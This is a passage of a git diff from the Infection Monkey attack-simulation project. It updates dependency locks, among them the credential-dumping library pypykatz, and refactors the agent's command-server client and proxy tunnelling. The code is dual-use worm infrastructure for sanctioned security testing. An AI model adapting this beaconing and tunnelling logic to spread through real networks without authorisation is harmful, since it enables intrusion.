||||
"sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246",
|
||||
"sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150",
|
||||
"sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3",
|
||||
"sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be",
|
||||
"sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89",
|
||||
"sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1",
|
||||
"sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4",
|
||||
"sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac",
|
||||
"sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8",
|
||||
"sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048",
|
||||
"sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1",
|
||||
"sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.10.9"
|
||||
"version": "==0.11.0"
|
||||
},
|
||||
"odict": {
|
||||
"hashes": [
|
||||
|
@ -498,10 +538,10 @@
|
|||
},
|
||||
"policyuniverse": {
|
||||
"hashes": [
|
||||
"sha256:0079e4963d616b4a865d047810fe146bfc473ea2f2eb41436993af54d6a7cf10",
|
||||
"sha256:2af34cfac99cb440ac6dc18995d80973be599ca70c228c3a99fff2b1f5feee90"
|
||||
"sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d",
|
||||
"sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be"
|
||||
],
|
||||
"version": "==1.3.7.20210615"
|
||||
"version": "==1.4.0.20210819"
|
||||
},
|
||||
"portend": {
|
||||
"hashes": [
|
||||
|
@ -513,11 +553,11 @@
|
|||
},
|
||||
"prompt-toolkit": {
|
||||
"hashes": [
|
||||
"sha256:08360ee3a3148bdb5163621709ee322ec34fc4375099afa4bbf751e9b7b7fa4f",
|
||||
"sha256:7089d8d2938043508aa9420ec18ce0922885304cddae87fb96eebca942299f88"
|
||||
"sha256:6076e46efae19b1e0ca1ec003ed37a933dc94b4d20f486235d436e64771dcd5c",
|
||||
"sha256:eb71d5a6b72ce6db177af4a7d4d7085b99756bf656d98ffcc4fecd36850eea6c"
|
||||
],
|
||||
"markers": "python_full_version >= '3.6.1'",
|
||||
"version": "==3.0.19"
|
||||
"markers": "python_full_version >= '3.6.2'",
|
||||
"version": "==3.0.20"
|
||||
},
|
||||
"psutil": {
|
||||
"hashes": [
|
||||
|
@ -742,6 +782,14 @@
|
|||
"index": "pypi",
|
||||
"version": "==19.0.0"
|
||||
},
|
||||
"pypsrp": {
|
||||
"hashes": [
|
||||
"sha256:a2eec4d9a1f16208e79c87699129b0fe265be9b423641dbac0798d1e3f225e87",
|
||||
"sha256:e4d13c84a5a150c75ec5bc8653059fa78e8421172049e0496d1df89ca24d9a6d"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.5.0"
|
||||
},
|
||||
"pypykatz": {
|
||||
"hashes": [
|
||||
"sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3",
|
||||
|
@ -750,6 +798,15 @@
|
|||
"index": "pypi",
|
||||
"version": "==0.3.12"
|
||||
},
|
||||
"pyreadline": {
|
||||
"hashes": [
|
||||
"sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1",
|
||||
"sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e",
|
||||
"sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b"
|
||||
],
|
||||
"markers": "python_version < '3.8' and sys_platform == 'win32'",
|
||||
"version": "==2.1"
|
||||
},
|
||||
"pysmb": {
|
||||
"hashes": [
|
||||
"sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287"
|
||||
|
@ -757,6 +814,22 @@
|
|||
"index": "pypi",
|
||||
"version": "==1.2.5"
|
||||
},
|
||||
"pyspnego": {
|
||||
"hashes": [
|
||||
"sha256:0d0946a8972bf8409ff79e24ca2c7aecf82e097f9d3f13571b92493869a5e08e",
|
||||
"sha256:0d9916fffee507fe38d84a86c97d687408769d079c969852da5ec866564c466d",
|
||||
"sha256:14a6f7e39168748fc7a6e800449aad0a7a6317036e2a8baee5e20f6044d3115a",
|
||||
"sha256:1ca9f6720da219f3f7d793a975be2c54e16509b4a85b2d85b359e96a1d7bdf4d",
|
||||
"sha256:1cf02e202b4c5a56e2267d781b54bd455802acf6fd7f68eb6ea92ed7610b3689",
|
||||
"sha256:617c07328241e9e6b5fc7c632c03bab16d57a048641106daeede7b58fa1eae75",
|
||||
"sha256:8691881997865882950c0843b62e4e153920e17496dd7ed58f610c06e49dfa8b",
|
||||
"sha256:a100ab53bc552a6c1f382eea0728153ef2d023176c8fc890aaeb9bee8eff7224",
|
||||
"sha256:b9fcd419ee6686a3026069b8bfa70406c821ece7d57ff4b94d4738963838b640",
|
||||
"sha256:fb4b052636be4237204272b61f6e346d9eadecc55a7e9d1ad12703a9321acd20"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.2.0"
|
||||
},
|
||||
"python-dateutil": {
|
||||
"hashes": [
|
||||
"sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb",
|
||||
|
@ -772,20 +845,37 @@
|
|||
],
|
||||
"version": "==2021.1"
|
||||
},
|
||||
"pywin32": {
|
||||
"hashes": [
|
||||
"sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe",
|
||||
"sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf",
|
||||
"sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17",
|
||||
"sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96",
|
||||
"sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7",
|
||||
"sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72",
|
||||
"sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b",
|
||||
"sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0",
|
||||
"sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78",
|
||||
"sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a"
|
||||
],
|
||||
"markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'",
|
||||
"version": "==301"
|
||||
},
|
||||
"requests": {
|
||||
"hashes": [
|
||||
"sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
|
||||
"sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
|
||||
"sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24",
|
||||
"sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==2.25.1"
|
||||
"version": "==2.26.0"
|
||||
},
|
||||
"s3transfer": {
|
||||
"hashes": [
|
||||
"sha256:9b3752887a2880690ce628bc263d6d13a3864083aeacff4890c1c9839a5eb0bc",
|
||||
"sha256:cb022f4b16551edebbb31a377d3f09600dbada7363d8c5db7976e7f47732e1b2"
|
||||
"sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c",
|
||||
"sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803"
|
||||
],
|
||||
"version": "==0.4.2"
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.5.0"
|
||||
},
|
||||
"scoutsuite": {
|
||||
"git": "git://github.com/guardicode/ScoutSuite",
|
||||
|
@ -793,54 +883,55 @@
|
|||
},
|
||||
"simplejson": {
|
||||
"hashes": [
|
||||
"sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667",
|
||||
"sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3",
|
||||
"sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043",
|
||||
"sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb",
|
||||
"sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0",
|
||||
"sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d",
|
||||
"sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8",
|
||||
"sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f",
|
||||
"sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf",
|
||||
"sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748",
|
||||
"sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278",
|
||||
"sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4",
|
||||
"sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a",
|
||||
"sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8",
|
||||
"sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d",
|
||||
"sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971",
|
||||
"sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841",
|
||||
"sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f",
|
||||
"sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b",
|
||||
"sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45",
|
||||
"sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9",
|
||||
"sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6",
|
||||
"sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc",
|
||||
"sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956",
|
||||
"sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d",
|
||||
"sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746",
|
||||
"sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a",
|
||||
"sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0",
|
||||
"sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25",
|
||||
"sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625",
|
||||
"sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995",
|
||||
"sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46",
|
||||
"sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f",
|
||||
"sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a",
|
||||
"sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139",
|
||||
"sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f",
|
||||
"sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da",
|
||||
"sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34",
|
||||
"sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b",
|
||||
"sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94",
|
||||
"sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04",
|
||||
"sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b",
|
||||
"sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396",
|
||||
"sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06",
|
||||
"sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb"
|
||||
"sha256:065230b9659ac38c8021fa512802562d122afb0cf8d4b89e257014dcddb5730a",
|
||||
"sha256:07707ba69324eaf58f0c6f59d289acc3e0ed9ec528dae5b0d4219c0d6da27dc5",
|
||||
"sha256:10defa88dd10a0a4763f16c1b5504e96ae6dc68953cfe5fc572b4a8fcaf9409b",
|
||||
"sha256:140eb58809f24d843736edb8080b220417e22c82ac07a3dfa473f57e78216b5f",
|
||||
"sha256:188f2c78a8ac1eb7a70a4b2b7b9ad11f52181044957bf981fb3e399c719e30ee",
|
||||
"sha256:1c2688365743b0f190392e674af5e313ebe9d621813d15f9332e874b7c1f2d04",
|
||||
"sha256:24e413bd845bd17d4d72063d64e053898543fb7abc81afeae13e5c43cef9c171",
|
||||
"sha256:2b59acd09b02da97728d0bae8ff48876d7efcbbb08e569c55e2d0c2e018324f5",
|
||||
"sha256:2df15814529a4625ea6f7b354a083609b3944c269b954ece0d0e7455872e1b2a",
|
||||
"sha256:352c11582aa1e49a2f0f7f7d8fd5ec5311da890d1354287e83c63ab6af857cf5",
|
||||
"sha256:36b08b886027eac67e7a0e822e3a5bf419429efad7612e69501669d6252a21f2",
|
||||
"sha256:376023f51edaf7290332dacfb055bc00ce864cb013c0338d0dea48731f37e42f",
|
||||
"sha256:3ba82f8b421886f4a2311c43fb98faaf36c581976192349fef2a89ed0fcdbdef",
|
||||
"sha256:3d72aa9e73134dacd049a2d6f9bd219f7be9c004d03d52395831611d66cedb71",
|
||||
"sha256:40ece8fa730d1a947bff792bcc7824bd02d3ce6105432798e9a04a360c8c07b0",
|
||||
"sha256:417b7e119d66085dc45bdd563dcb2c575ee10a3b1c492dd3502a029448d4be1c",
|
||||
"sha256:42b7c7264229860fe879be961877f7466d9f7173bd6427b3ba98144a031d49fb",
|
||||
"sha256:457d9cfe7ece1571770381edccdad7fc255b12cd7b5b813219441146d4f47595",
|
||||
"sha256:4a6943816e10028eeed512ea03be52b54ea83108b408d1049b999f58a760089b",
|
||||
"sha256:5b94df70bd34a3b946c0eb272022fb0f8a9eb27cad76e7f313fedbee2ebe4317",
|
||||
"sha256:5f5051a13e7d53430a990604b532c9124253c5f348857e2d5106d45fc8533860",
|
||||
"sha256:5f7f53b1edd4b23fb112b89208377480c0bcee45d43a03ffacf30f3290e0ed85",
|
||||
"sha256:5fe8c6dcb9e6f7066bdc07d3c410a2fca78c0d0b4e0e72510ffd20a60a20eb8e",
|
||||
"sha256:71a54815ec0212b0cba23adc1b2a731bdd2df7b9e4432718b2ed20e8aaf7f01a",
|
||||
"sha256:7332f7b06d42153255f7bfeb10266141c08d48cc1a022a35473c95238ff2aebc",
|
||||
"sha256:78c6f0ed72b440ebe1892d273c1e5f91e55e6861bea611d3b904e673152a7a4c",
|
||||
"sha256:7c9b30a2524ae6983b708f12741a31fbc2fb8d6fecd0b6c8584a62fd59f59e09",
|
||||
"sha256:86fcffc06f1125cb443e2bed812805739d64ceb78597ac3c1b2d439471a09717",
|
||||
"sha256:87572213965fd8a4fb7a97f837221e01d8fddcfb558363c671b8aa93477fb6a2",
|
||||
"sha256:8e595de17178dd3bbeb2c5b8ea97536341c63b7278639cb8ee2681a84c0ef037",
|
||||
"sha256:917f01db71d5e720b731effa3ff4a2c702a1b6dacad9bcdc580d86a018dfc3ca",
|
||||
"sha256:91cfb43fb91ff6d1e4258be04eee84b51a4ef40a28d899679b9ea2556322fb50",
|
||||
"sha256:aa86cfdeb118795875855589934013e32895715ec2d9e8eb7a59be3e7e07a7e1",
|
||||
"sha256:ade09aa3c284d11f39640aebdcbb748e1996f0c60504f8c4a0c5a9fec821e67a",
|
||||
"sha256:b2a5688606dffbe95e1347a05b77eb90489fe337edde888e23bbb7fd81b0d93b",
|
||||
"sha256:b92fbc2bc549c5045c8233d954f3260ccf99e0f3ec9edfd2372b74b350917752",
|
||||
"sha256:c2d5334d935af711f6d6dfeec2d34e071cdf73ec0df8e8bd35ac435b26d8da97",
|
||||
"sha256:cb0afc3bad49eb89a579103616574a54b523856d20fc539a4f7a513a0a8ba4b2",
|
||||
"sha256:ce66f730031b9b3683b2fc6ad4160a18db86557c004c3d490a29bf8d450d7ab9",
|
||||
"sha256:e29b9cea4216ec130df85d8c36efb9985fda1c9039e4706fb30e0fb6a67602ff",
|
||||
"sha256:e2cc4b68e59319e3de778325e34fbff487bfdb2225530e89995402989898d681",
|
||||
"sha256:e90d2e219c3dce1500dda95f5b893c293c4d53c4e330c968afbd4e7a90ff4a5b",
|
||||
"sha256:f13c48cc4363829bdfecc0c181b6ddf28008931de54908a492dc8ccd0066cd60",
|
||||
"sha256:f550730d18edec4ff9d4252784b62adfe885d4542946b6d5a54c8a6521b56afd",
|
||||
"sha256:fa843ee0d34c7193f5a816e79df8142faff851549cab31e84b526f04878ac778",
|
||||
"sha256:fe1c33f78d2060719d52ea9459d97d7ae3a5b707ec02548575c4fbed1d1d345b"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==3.17.2"
|
||||
"version": "==3.17.5"
|
||||
},
|
||||
"six": {
|
||||
"hashes": [
|
||||
|
@ -858,36 +949,36 @@
|
|||
},
|
||||
"tempora": {
|
||||
"hashes": [
|
||||
"sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909",
|
||||
"sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8"
|
||||
"sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950",
|
||||
"sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==4.0.2"
|
||||
"version": "==4.1.1"
|
||||
},
|
||||
"tqdm": {
|
||||
"hashes": [
|
||||
"sha256:24be966933e942be5f074c29755a95b315c69a91f839a29139bf26ffffe2d3fd",
|
||||
"sha256:aa0c29f03f298951ac6318f7c8ce584e48fa22ec26396e6411e43d038243bdb2"
|
||||
"sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c",
|
||||
"sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||
"version": "==4.61.1"
|
||||
"version": "==4.62.3"
|
||||
},
|
||||
"typing-extensions": {
|
||||
"hashes": [
|
||||
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
|
||||
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
|
||||
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
|
||||
"sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
|
||||
"sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
|
||||
"sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
|
||||
],
|
||||
"markers": "python_version < '3.8'",
|
||||
"version": "==3.10.0.0"
|
||||
"index": "pypi",
|
||||
"version": "==3.10.0.2"
|
||||
},
|
||||
"urllib3": {
|
||||
"hashes": [
|
||||
"sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc",
|
||||
"sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc"
|
||||
"sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c",
|
||||
"sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==1.25.8"
|
||||
"version": "==1.26.5"
|
||||
},
|
||||
"wcwidth": {
|
||||
"hashes": [
|
||||
|
@ -917,7 +1008,7 @@
|
|||
"sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1",
|
||||
"sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"markers": "platform_system == 'Windows'",
|
||||
"version": "==0.0.9"
|
||||
},
|
||||
"winsys-3.x": {
|
||||
|
@ -932,6 +1023,7 @@
|
|||
"sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942",
|
||||
"sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6"
|
||||
],
|
||||
"index": "pypi",
|
||||
"markers": "sys_platform == 'win32'",
|
||||
"version": "==1.5.1"
|
||||
},
|
||||
|
@ -944,11 +1036,11 @@
|
|||
},
|
||||
"zipp": {
|
||||
"hashes": [
|
||||
"sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76",
|
||||
"sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098"
|
||||
"sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3",
|
||||
"sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==3.4.1"
|
||||
"version": "==3.5.0"
|
||||
}
|
||||
},
|
||||
"develop": {}
|
||||
|
|
|
@ -145,9 +145,6 @@ class Configuration(object):
|
|||
# sets whether or not to retry failed hosts on next scan
|
||||
retry_failed_explotation = True
|
||||
|
||||
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
||||
internet_services = ["updates.infectionmonkey.com", "www.google.com"]
|
||||
|
||||
keep_tunnel_open_time = 60
|
||||
|
||||
# Monkey files directory name
|
||||
|
|
|
@ -19,13 +19,14 @@ from common.common_consts.timeouts import (
|
|||
SHORT_REQUEST_TIMEOUT,
|
||||
)
|
||||
from infection_monkey.config import GUID, WormConfiguration
|
||||
from infection_monkey.network.info import check_internet_access, local_ips
|
||||
from infection_monkey.network.info import local_ips
|
||||
from infection_monkey.transport.http import HTTPConnectProxy
|
||||
from infection_monkey.transport.tcp import TcpProxy
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
|
||||
|
@ -40,23 +41,19 @@ class ControlClient(object):
|
|||
proxies = {}
|
||||
|
||||
@staticmethod
|
||||
def wakeup(parent=None, has_internet_access=None):
|
||||
def wakeup(parent=None):
|
||||
if parent:
|
||||
LOG.debug("parent: %s" % (parent,))
|
||||
logger.debug("parent: %s" % (parent,))
|
||||
|
||||
hostname = gethostname()
|
||||
if not parent:
|
||||
parent = GUID
|
||||
|
||||
if has_internet_access is None:
|
||||
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
||||
|
||||
monkey = {
|
||||
"guid": GUID,
|
||||
"hostname": hostname,
|
||||
"ip_addresses": local_ips(),
|
||||
"description": " ".join(platform.uname()),
|
||||
"internet_access": has_internet_access,
|
||||
"config": WormConfiguration.as_dict(),
|
||||
"parent": parent,
|
||||
"launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)),
|
||||
|
@ -76,12 +73,12 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def find_server(default_tunnel=None):
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Trying to wake up with Monkey Island servers list: %r"
|
||||
% WormConfiguration.command_servers
|
||||
)
|
||||
if default_tunnel:
|
||||
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||
logger.debug("default_tunnel: %s" % (default_tunnel,))
|
||||
|
||||
current_server = ""
|
||||
|
||||
|
@ -92,7 +89,7 @@ class ControlClient(object):
|
|||
debug_message = "Trying to connect to server: %s" % server
|
||||
if ControlClient.proxies:
|
||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||
LOG.debug(debug_message)
|
||||
logger.debug(debug_message)
|
||||
requests.get( # noqa: DUO123
|
||||
f"https://{server}/api?action=is-up",
|
||||
verify=False,
|
||||
|
@ -104,7 +101,7 @@ class ControlClient(object):
|
|||
|
||||
except ConnectionError as exc:
|
||||
current_server = ""
|
||||
LOG.warning("Error connecting to control server %s: %s", server, exc)
|
||||
logger.warning("Error connecting to control server %s: %s", server, exc)
|
||||
|
||||
if current_server:
|
||||
return True
|
||||
|
@ -112,17 +109,35 @@ class ControlClient(object):
|
|||
if ControlClient.proxies:
|
||||
return False
|
||||
else:
|
||||
LOG.info("Starting tunnel lookup...")
|
||||
logger.info("Starting tunnel lookup...")
|
||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||
if proxy_find:
|
||||
proxy_address, proxy_port = proxy_find
|
||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||
ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port)
|
||||
ControlClient.set_proxies(proxy_find)
|
||||
return ControlClient.find_server()
|
||||
else:
|
||||
LOG.info("No tunnel found")
|
||||
logger.info("No tunnel found")
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def set_proxies(proxy_find):
|
||||
"""
|
||||
Note: The proxy schema changes between different versions of requests and urllib3,
|
||||
which causes the machine to not open a tunnel back.
|
||||
If we get "ValueError: check_hostname requires server_hostname" or
|
||||
"Proxy URL had not schema, should start with http:// or https://" errors,
|
||||
the proxy schema needs to be changed.
|
||||
Keep this in mind when upgrading to newer python version or when urllib3 and
|
||||
requests are updated there is possibility that the proxy schema is changed.
|
||||
https://github.com/psf/requests/issues/5297
|
||||
https://github.com/psf/requests/issues/5855
|
||||
"""
|
||||
proxy_address, proxy_port = proxy_find
|
||||
logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||
if is_windows_os():
|
||||
ControlClient.proxies["https"] = f"http://{proxy_address}:{proxy_port}"
|
||||
else:
|
||||
ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}"
|
||||
|
||||
@staticmethod
|
||||
def keepalive():
|
||||
if not WormConfiguration.current_server:
|
||||
|
@ -140,7 +155,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return {}
|
||||
|
@ -148,7 +163,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def send_telemetry(telem_category, json_data: str):
|
||||
if not WormConfiguration.current_server:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Trying to send %s telemetry before current server is established, aborting."
|
||||
% telem_category
|
||||
)
|
||||
|
@ -164,7 +179,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -183,7 +198,7 @@ class ControlClient(object):
|
|||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
||||
)
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
|
||||
|
@ -200,7 +215,7 @@ class ControlClient(object):
|
|||
)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.warning(
|
||||
logger.warning(
|
||||
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
|
||||
)
|
||||
return
|
||||
|
@ -210,10 +225,10 @@ class ControlClient(object):
|
|||
formatted_config = pformat(
|
||||
WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
|
||||
)
|
||||
LOG.info(f"New configuration was loaded from server:\n{formatted_config}")
|
||||
logger.info(f"New configuration was loaded from server:\n{formatted_config}")
|
||||
except Exception as exc:
|
||||
# we don't continue with default conf here because it might be dangerous
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Error parsing JSON reply from control server %s (%s): %s",
|
||||
WormConfiguration.current_server,
|
||||
